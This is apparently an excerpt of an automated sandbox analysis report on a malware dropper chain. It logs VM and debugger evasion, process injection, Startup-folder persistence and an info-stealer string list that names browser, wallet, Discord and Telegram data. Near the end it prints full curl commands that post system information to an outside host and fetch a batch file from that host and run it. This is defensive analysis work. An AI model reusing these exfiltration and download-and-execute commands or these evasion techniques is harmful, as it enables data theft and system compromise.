Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe

Window / User API: threadDelayed 662

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_7-11547

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe

API coverage: 8.1 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8144	Thread sleep count: 145 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8144	Thread sleep time: -290145s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8152	Thread sleep count: 125 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8152	Thread sleep time: -250125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8112	Thread sleep count: 196 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8112	Thread sleep time: -5880000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8124	Thread sleep count: 199 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8124	Thread sleep time: -398199s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8128	Thread sleep count: 189 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8128	Thread sleep time: -378189s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8140	Thread sleep count: 185 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8140	Thread sleep time: -370185s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8112	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe TID: 1076	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe TID: 6048	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe TID: 7880	Thread sleep time: -15600000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe TID: 7880	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe TID: 6164	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe TID: 2912	Thread sleep time: -60000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Thread delayed: delay time: 600000

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	File opened: C:\Users\user\AppData\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	File opened: C:\Users\user\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\

Source: skotes.exe, skotes.exe, 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 5799e5ec40.exe, 00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: 12.1e411cf62bcba04d74fc6b505b9235404INSERT_KEY_HEREGetProcALoadLibrlstrcatAOpenEvenCreateEvCloseHanVirtualAllocExNuVirtualFGetSysteVirtualAHeapAlloGetComputerNameAlstrcpyAGetProceGetCurrentProceslstrlenAExitProcSystemTimeToFileadvapi32gdi32.dluser32.dcrypt32.ntdll.dlGetUserNCreateDCGetDevicReleaseDVMwareVMJohnDoe%hu/%hu/GetEnvironmentVariableAGetFileAttributeGlobalLoHeapFreeGetFileSGlobalSiIsWow64PProcess3GetLocalFreeLibrGetTimeZoneInforGetSystemPowerStGetWindowsDirectGetModuleFileNamDeleteFiFindNextLocalFreFindClosSetEnvironmentVaLocalAllReadFileSetFilePWriteFilCreateFiFindFirsCopyFileVirtualPGetLastElstrcpynMultiByteToWideCGlobalFrWideCharToMultiBGlobalAlOpenProcTerminateProcessgdiplus.ole32.dlbcrypt.dwininet.shlwapi.shell32.psapi.dlrstrtmgrCreateCompatibleSelectObDeleteObGdiplusSGdiplusShutdownGdipSaveImageToSGdipDisposeImageGdipFreeGetHGlobalFromStCreateStreamOnHGCoUninitCoInitiaCoCreateInstanceBCryptDeBCryptSetPropertBCryptDestroyKeyGetWindoGetDesktopWindowCloseWinwsprintfEnumDisplayDevicGetKeyboardLayouCharToOeRegQueryValueExARegEnumKRegOpenKRegCloseRegEnumVCryptBinaryToStrSHGetFolderPathAShellExecuteExAInternetOpenUrlAInternetConnectAInternetCloseHanInternetHttpSendRequestAHttpOpenRequestAInternetReadFileInternetCrackUrlStrCmpCAStrStrAStrCmpCWPathMatcRmStartSRmRegisterResourRmGetLisRmEndSessqlite3_sqlite3_prepare_sqlite3_column_tsqlite3_finalizesqlite3_column_bencrypteNSS_InitNSS_ShutPK11_GetInternalKeySlotPK11_FrePK11_AuthenticatPK11SDR_DecryptC:\ProgramData\profile:Login: PasswordOperaGXNetworkCookiesAutofillHistoryMonth: Login DaWeb Datalogins.jformSubmusernameencryptedUsernamencryptedPassworcookies.places.sPluginsSync Extension SettingsIndexedDOpera StOpera GX StableCURRENTchrome-extension_0.indexeddb.levLocal StprofilesfirefoxWallets%08lX%04ProductN%d/%d/%d %d:%d:%DisplayNDisplayVfreebl3.mozglue.msvcp140nss3.dllsoftokn3vcruntime140.dll/c start%DESKTOP%APPDATA%LOCALAP%USERPRO%DOCUMEN%PROGRAM%PROGRAMFILES_86%RECENT%\discord\Local Storage\l\Telegram Desktokey_dataD877F783D5D3EF8CA7FDF864FBC10B77A92DAA6EA6F891F2F8806DD0C461824FTelegram\.purpleaccountsdQw4w9Wgtoken: Software\Valve\SSteamPat\config\config.vDialogConfig.vdflibraryfolders.vloginuse\Steam\sqlite3.browsers\Discord\tokens.HTTP/1.1file_nammessagescreensh
Source: c7017f8470.exe, 00000009.00000003.2490926103.0000000000F17000.00000004.00000020.00020000.00000000.sdmp, c7017f8470.exe, 00000009.00000002.2491677377.0000000000F18000.00000004.00000020.00020000.00000000.sdmp, c7017f8470.exe, 00000009.00000003.2490527422.0000000000F14000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`E2
Source: curl.exe, 00000010.00000002.2518738134.00000000005AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monito
Source: 5799e5ec40.exe, 00000026.00000002.3077080016.00000000007C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;85
Source: 5799e5ec40.exe, 00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: VMwareVM
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C7A000.00000004.00000020.00020000.00000000.sdmp, c7017f8470.exe, 00000009.00000003.2490926103.0000000000F17000.00000004.00000020.00020000.00000000.sdmp, c7017f8470.exe, 00000009.00000002.2491677377.0000000000F18000.00000004.00000020.00020000.00000000.sdmp, c7017f8470.exe, 00000009.00000003.2490527422.0000000000F14000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000002.3077080016.00000000007C9000.00000004.00000020.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000002.3073164628.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000002.3073164628.0000000001421000.00000004.00000020.00020000.00000000.sdmp, 95025a00c8.exe, 0000002B.00000003.3051862412.0000000000A7A000.00000004.00000020.00020000.00000000.sdmp, 95025a00c8.exe, 0000002B.00000003.3062382450.0000000000A7B000.00000004.00000020.00020000.00000000.sdmp, 95025a00c8.exe, 0000002B.00000002.3073562734.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 5799e5ec40.exe, 00000026.00000002.3070871988.00000000005E1000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: VMwareVMware
Source: c7017f8470.exe, 00000009.00000002.2491677377.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, c7017f8470.exe, 00000009.00000003.2490527422.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C7A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8c
Source: yiDQb6GkBq.exe, 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: curl.exe, 00000010.00000003.2518306647.00000000005A2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.2517777424.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.2517777424.00000000005E6000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.2518337921.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, tmp.txt.11.dr	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: 5799e5ec40.exe, 00000026.00000002.3077080016.000000000078C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: curl.exe, 00000010.00000003.2518306647.00000000005A2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000013.00000003.2546117332.0000000002C41000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000017.00000003.2579166212.00000000033F0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000001B.00000003.2614509400.0000000002AE0000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7.exe, 0000001D.00000002.3073660073.0000000000948000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000029.00000003.2987223789.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002E.00000002.3071209983.00000000031C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

Code function: 0_2_05230D8F rdtsc

0_2_05230D8F

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe

Code function: 9_2_0043B480 LdrInitializeThunk,

9_2_0043B480

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe

Code function: 7_2_00A28077 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_00A28077

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_006B652B mov eax, dword ptr fs:[00000030h]	0_2_006B652B
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_006BA302 mov eax, dword ptr fs:[00000030h]	0_2_006BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0074A302 mov eax, dword ptr fs:[00000030h]	1_2_0074A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0074652B mov eax, dword ptr fs:[00000030h]	1_2_0074652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0074A302 mov eax, dword ptr fs:[00000030h]	2_2_0074A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0074652B mov eax, dword ptr fs:[00000030h]	2_2_0074652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0074A302 mov eax, dword ptr fs:[00000030h]	6_2_0074A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0074652B mov eax, dword ptr fs:[00000030h]	6_2_0074652B
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A3E1A9 mov edi, dword ptr fs:[00000030h]	7_2_00A3E1A9
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A217D0 mov edi, dword ptr fs:[00000030h]	7_2_00A217D0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00A217D0 mov edi, dword ptr fs:[00000030h]	9_2_00A217D0

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe

Code function: 7_2_00A29E16 GetProcessHeap,

7_2_00A29E16

Source: C:\Windows\SysWOW64\tasklist.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A28077 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00A28077
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A239E5 SetUnhandledExceptionFilter,	7_2_00A239E5
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A239F1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00A239F1
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A22F82 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00A22F82
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00A28077 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00A28077
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00A239E5 SetUnhandledExceptionFilter,	9_2_00A239E5
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00A239F1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00A239F1
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00A22F82 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00A22F82

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe

Code function: 7_2_00A3E1A9 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

7_2_00A3E1A9

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Memory written: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Memory written: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe "C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe "C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe "C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe "C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe "C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe "C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe "C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Process created: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe "C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\user\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 3" -Lo "C:\Users\user\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c type "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -Lo "C:\Users\user\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\AppData\Local\Temp\tmp.bat" > C:\Users\user\AppData\Local\Temp\tmp.txt	Jump to behavior
